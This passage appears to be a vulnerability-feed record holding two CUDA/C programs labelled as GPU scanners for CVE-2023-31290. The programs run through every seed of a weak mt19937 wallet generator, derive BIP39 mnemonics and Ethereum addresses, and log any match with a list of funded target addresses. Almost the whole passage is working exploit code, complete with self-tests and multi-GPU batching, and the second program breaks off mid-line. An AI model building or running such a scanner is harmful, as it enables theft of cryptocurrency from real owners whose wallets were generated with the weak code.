61, 20, 44};\nstatic const int KECCAKF_PILN[24] = {10, 7,  11, 17, 18, 3, 5,  16, 8,  21, 24, 4,\n                                     15, 23, 19, 13, 12, 2, 20, 14, 22, 9,  6,  1};\nstatic void keccakf(uint64_t st[25]) {\n  for (int round = 0; round &lt; 24; round++) {\n    uint64_t bc[5];\n    for (int i = 0; i &lt; 5; i++) bc[i] = st[i] ^ st[i + 5] ^ st[i + 10] ^ st[i + 15] ^ st[i + 20];\n    for (int i = 0; i &lt; 5; i++) {\n      uint64_t t = bc[(i + 4) % 5] ^ ((bc[(i + 1) % 5] &lt;&lt; 1) | (bc[(i + 1) % 5] &gt;&gt; 63));\n      for (int j = 0; j &lt; 25; j += 5) st[j + i] ^= t;\n    }\n    uint64_t t = st[1];\n    for (int i = 0; i &lt; 24; i++) {\n      int j = KECCAKF_PILN[i];\n      bc[0] = st[j];\n      st[j] = (t &lt;&lt; KECCAKF_ROTC[i]) | (t &gt;&gt; (64 - KECCAKF_ROTC[i]));\n      t = bc[0];\n    }\n    for (int j = 0; j &lt; 25; j += 5) {\n      uint64_t tmp[5];\n      for (int i = 0; i &lt; 5; i++) tmp[i] = st[j + i];\n      for (int i = 0; i &lt; 5; i++) st[j + i] ^= (~tmp[(i + 1) % 5]) &amp; tmp[(i + 2) % 5];\n    }\n    st[0] ^= KECCAKF_RNDC[round];\n  }\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  uint64_t st[25];\n  memset(st, 0, sizeof(st));\n  uint8_t *s = (uint8_t *)st;\n  const size_t rsiz = 136;\n  while (inlen &gt;= rsiz) {\n    for (size_t i = 0; i &lt; rsiz; i++) s[i] ^= in[i];\n    keccakf(st);\n    in += rsiz;\n    inlen -= rsiz;\n  }\n  for (size_t i = 0; i &lt; inlen; i++) s[i] ^= in[i];\n  s[inlen] ^= 0x01;\n  s[rsiz - 1] ^= 0x80;\n  keccakf(st);\n  memcpy(out, st, 32);\n}\nstatic int eth_from_seed64(EcTls *e, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32], uncomp[65], h[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(e, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (priv_to_pub(e, key, uncomp, 0) != 0) return -1;\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  uint8_t kh[32];\n  keccak256((const uint8_t *)\"\", 0, kh);\n  char khex[65];\n  static const char *hh = \"0123456789abcdef\";\n  for (int i = 0; i &lt; 32; i++) { khex[2 * i] = hh[kh[i] &gt;&gt; 4]; khex[2 * i + 1] = hh[kh[i] &amp; 0xf]; }\n  khex[64] = 0;\n  if (strcmp(khex, \"c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470\") != 0) {\n    printf(\"host keccak empty FAIL %s\\n\", khex);\n    return 1;\n  }\n  printf(\"host keccak empty PASS\\n\");\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64], addr[20];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return 1;\n  int rc = eth_from_seed64(&amp;e, seed, addr);\n  ec_tls_free(&amp;e);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return 1;\n  uint8_t addr[20];\n  eth_from_seed64(&amp;e, got, addr);\n  ec_tls_free(&amp;e);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    EcTls e;\n    if (ec_tls_init(&amp;e) != 0) {\n      fprintf(stderr, \"ec_tls_init fail\\n\");\n    } else {\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(&amp;e, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        __sync_fetch_and_add(&amp;g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    }\n    ec_tls_free(&amp;e);\n  }\n#else\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return;\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(&amp;e, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      __sync_fetch_and_add(&amp;g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n  ec_tls_free(&amp;e);\n#endif\n  __sync_fetch_and_add(&amp;g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev &gt; 0 ? ndev : 1);\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s &lt; my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch((uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = __sync_add_and_fetch(&amp;g_done, 0);\n        uint64_t hits = __sync_add_and_fetch(&amp;g_hits, 0);\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, hits, eta);\n      }\n      s += (uint64_t)n;\n    }\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&amp;g_hits, 0));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T01:27:06.835082Z"}, {"uuid": "33622842-6993-45c3-a005-45b5d888e638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/35e681d3d17540ee801f9da7be0cfeeb", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &amp;clen, &amp;pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &amp;l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin 